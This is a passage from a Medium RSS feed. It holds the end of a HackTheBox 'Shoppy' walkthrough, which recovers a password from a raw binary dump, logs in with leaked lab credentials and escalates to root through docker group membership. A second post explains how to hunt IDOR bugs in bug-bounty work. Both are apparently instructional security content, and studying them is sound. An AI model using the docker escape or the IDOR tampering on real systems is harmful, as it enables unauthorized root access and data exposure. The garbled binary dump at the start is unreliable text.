N�&quot;�▒�A▒#▒�@__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable_ZNSaIcED1Ev_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ZSt3cin_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3__ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc_ZNSt8ios_base4InitD1Ev_ZNSolsEPFRSoS_E__gxx_personality_v0_ZNSaIcEC1Ev_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc_ZNSt8ios_base4InitC1Ev_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev_ZSt4cout_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7compareERKS4__ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE_Unwind_Resume__cxa_atexitsystem__cxa_finalize__libc_start_mainlibstdc++.so.6libgcc_s.so.1libc.so.6GCC_3.0GLIBC_2.2.5CXXABI_1.3GLIBCXX_3.4GLIBCXX_3.4.21( P&amp;y<br>                                                                                         @6 u▒i HӯkTt)_q��k��4����@�?�?�?�?�?�?�?�@�@▒�A▒@ @(@0@8@@@HP@      X@<br>`@<br>  h@<br>x@�@H�H��/H��t��H���5�/�%�/@�%�/h������%�/h������%�/h������%�/h������%�/h������%�/h������%�/h������%�/h�p����%�/�`����%�/h   �P����%�/h<br>�@����%�/h<br>          �0����%�/h<br>H�=���.�DH�=I/H�B/H9�tH�n.H��t  �����H�=/H�5/H)�H��H��?H��H�H��tH�E.H����fD���=11u/UH�=�-H��t<br>                                                                                             H�=�.�-����h����   1]������H��H�S,H��H������H�E�H�������H�E�H����������&lt;H��H�E�H��������H��H�E�H���w����H��H�E�H���f���H��H���<br>                                                                                                      ���H�]���UH��H���}��u��}�u2�}���u)H�=�.�����H�u,H�5�.H��+H���/������UH�����������]��AWL�=W)AVI��AUI��ATA��UH�-P)SL)�H������H��t�L��L��D��A��H��H9�u�H�[]A\A]A^A_��H�H��Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txtAccess denied! This incident will be reported !@����0����@���h%����<br>                                                                                                                    ��� T���@p���`�����zRx<br>                    ����+zRx<br>                           $�����F▒J<br>                                    �?▒;*3$&quot;Dh��zPLRx��<br>E��                                                   $$%�����A�C<br>D �����IA�C<br>�<br>P���A�C<br>D���]B�I▒�E �E(�D0�H8�G@j8A0A(B B▒B, �����^�������4�(6<br>��=▒�����8<br>z<br> ▒@P<br>    �  P        ▒������o@       ���o���o<br>        ���o�=6FVfv���������@GCC: (Debian 10.2.1-6) 10.2.1 20210110��8�<br>       @                �<br><br><br><br> � � 0!�&quot;�=�=�=�?▒@�@▒�@�<br>                         P�!�7▒�BC�=jv�=��� �▒�B��I4��▒�&quot;��&amp;� <br>                                                              9�=B�=S�=f▒@|��@� �@� �&quot;�H�@U�!������� +1u���@�)▒�@?��@N▒C��▒�@�P]%E ax���▒�A▒�� � �crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrypassword-manager.cpp_ZStL19piecewise_construct_ZStL8__ioinit_Z41__static_initialization_and_destruction_0ii_GLOBAL__sub_I_main__FRAME_END____GNU_EH_FRAME_HDR_DYNAMIC__init_array_end__init_array_start_GLOBAL_OFFSET_TABLE__ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7compareERKS4_@GLIBCXX_3.4.21_edata_IO_stdin_used__cxa_finalize@GLIBC_2.2.5_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_@GLIBCXX_3.4__dso_handle_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@GLIBCXX_3.4.21DW.ref.__gxx_personality_v0system@GLIBC_2.2.5__cxa_atexit@GLIBC_2.2.5_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc@GLIBCXX_3.4.21_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@GLIBCXX_3.4_ZNSolsEPFRSoS_E@GLIBCXX_3.4_ZNSaIcED1Ev@GLIBCXX_3.4__TMC_END___ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE@GLIBCXX_3.4.21_ZSt4cout@GLIBCXX_3.4_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_@GLIBCXX_3.4.21__data_start_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev@GLIBCXX_3.4.21__bss_start_ZNSt8ios_base4InitC1Ev@GLIBCXX_3.4__libc_csu_init__gxx_personality_v0@CXXABI_1.3_ITM_deregisterTMCloneTable_Unwind_Resume@GCC_3.0_ZNSaIcEC1Ev@GLIBCXX_3.4__libc_csu_fini_ZSt3cin@GLIBCXX_3.4__libc_start_main@GLIBC_2.2.5__gmon_start___ITM_registerTMCloneTable_ZNSt8ios_base4InitD1Ev@GLIBCXX_3.4.symtab.strtab.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.gcc_except_table.init_array.fini_array.dynamic.got.plt.data.bss.comment�#��$6�� D��No<br>                                                        88▒V��z^���o<br><br>        2k���o@ @       z�      �       ▒�B<br><br>                                           P▒�� �  ���� �  �� � L�0!0!��&quot;�&quot;��=����=���?��@�@�0▒<br>                                                                                             �@�0@@0�0&#39;�0▒     9!)?</pre><p>There is a bunch of gibberish , but we do have this somewhere inside .</p><pre>Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txt</pre><p>So , now we have the master password : Sample .</p><pre>jaeger@shoppy:/home/deploy$ sudo -u deploy ./password-manager<br>Welcome to Josh password manager!<br>Please enter your master password: Sample<br>Access granted! Here is creds !<br>Deploy Creds :<br>username: deploy<br>password: Deploying@pp!</pre><p>Perfect, we’re closer to getting a root shell. Let’s switch users to deploy.</p><pre>jaeger@shoppy:/home/deploy$ su deploy<br>Password: <br>$ whoami<br>deploy<br>$ groups<br>deploy docker<br>$</pre><p>So , now we’re in deploy. Prior to running the command groups , we can see that we are a part of docker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/0*FHNRIqYdq-vEuL_x.png" /></figure><p>Going to <a href="https://gtfobins.github.io/gtfobins/docker/">gtfobins</a> , we can see that docker is exploitable, if we have the rights to docker, and we do. So , let’s try to get a shell.</p><pre>$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh<br># id<br>uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)<br>#</pre><p>We have rooted the box. All there’s left to do now is to get the root flag and submit it to HackTheBox</p><pre># cat /root/root.txt<br>7979{CENSORED}fd</pre><p>I hope you’ve enjoyed this walkthrough as much as I’ve enjoyed making it! For more content like this, hit that follow button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*B94ZFQHeu1ejnUpD.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8889a3b95840" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Explaining vulnerabilities : IDORs {Bug bounties}]]></title>
            <link>https://falkensmaze.medium.com/explaining-vulnerabilities-idors-bug-bounties-cdf9ab30a9bf?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdf9ab30a9bf</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Tue, 24 Jan 2023 11:42:11 GMT</pubDate>
            <atom:updated>2023-01-24T11:42:11.089Z</atom:updated>
            <content:encoded><![CDATA[<h3>Explaining vulnerabilities : IDORs {Bug bounties}</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gB99Kxmf5VyH6UYY.png" /></figure><h3>What are IDORs?</h3><ul><li>IDOR (insecure direct object reference) is a <a href="https://falkensmaze.medium.com/explaining-vulnerabilities-broken-access-control-27587fb8f706?source=user_profile---------3----------------------------">broken access control vulnerability</a></li><li>The main difference between an classic IDOR vulnerability and a simple <a href="https://falkensmaze.medium.com/explaining-vulnerabilities-broken-access-control-27587fb8f706">BAC vulnerability</a> is that to have an IDOR , we need to have the following conditions met :</li></ul><p>-&gt; an object identifier exists in the reques (GET or POST)</p><p>-&gt; there needs to be an access control issue that allows a user to access an object that they should not be able to</p><ul><li>Let’s take a look at some request examples :</li></ul><blockquote>GET /accountInformation.php?id=3</blockquote><blockquote>POST /updateUsername.php {accountID:1, username:”administrator”}</blockquote><p>In the examples, we have a GET and a POST request, that both contain identifiers. In a safe environment, the user can only access the account information or update the username of their own accounts. If, however, we change this identifier and receive some data that doesn’t belong to us, there is an IDOR vulnerability in place.</p><h3>How to hunt?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*V9fpN7hBY1_auvZL.jpg" /></figure><p>As with any other vulnerability, we mainly have 2 ways of hunting for them. A manual, and automated/semi-automated way.</p><h4>Manual way</h4><ul><li>Manually hunting for IDOR vulnerabilities, is probably the easiest way to do.</li><li>In a <a href="https://systemweakness.com/main-app-methodology-bug-bounties-8681dbc0d58c">previous episode of this bug bounty series</a>, I covered a main application methodology. There, I also covered the exploration of the application , and suggested that you should have a proxy running in the background (mostly burp). That is because, burp has an option that shows only requests with parameters.</li><li>We will go through these requests manually and only send the requests that contain identifiers to the burp ‘Repeater’.</li><li>Sometimes, we will need to replace the authentication methods that are expected by the server with valid authentication tokens . JWT and session cookies might need to be replaced.</li><li>You will need to identify which authentication mechanism is being used and make sure you replace any expired authentication methods with valid ones. Get new valid tokens by logging in and making similar requests.</li></ul><blockquote>Caution : You are highly recommended to create two different accounts when testing for these kinds of vulnerabilities, in order to not leak sensitive information from the organization, which may result in legal problems.</blockquote><p>Example of IDOR identification &amp; exploitation:</p><p>We identify a request that contains an identifier:</p><pre>GET /bill.php?id=2</pre><p>We send it to repeater. Then , we identify that the request contains a JWT token in the authorization header that is expired. (you know this, because when you will launch the request, it will return a 500 response)</p><p>Check the HTTP history in burp and grab the latest JWT token. (or , log in the application and afterwards check the http history in burp)</p><p>Replace the expired JWT token. (if all goes well, it should return a 200 OK response.)</p><p>Now, create a new account on the application.</p><p>Log into that account and check the HTTP history in the proxy tab in Burp &amp; grab the latest JWT token.</p><p>Last step, is to replace the new JWT token in repeater. If you receieve a 200 OK response and you can see the bill of the previous account, you have an IDOR.</p><h4>Semi-Automated way</h4><p>Here, you can use one of Burp Suite’s tools, “Burp Authorize” and also the match and replace tool.</p><p>While semi-automatically hunting for IDORs is possible, I still highly recommend manually hunting, since even if you don’t find an IDOR, you might find something else that is interesting and would require further testing.</p><p>Thank you for your attention and I hope you’ve found this useful. Peace!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*fj6AgO5wu0_iptgL.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdf9ab30a9bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>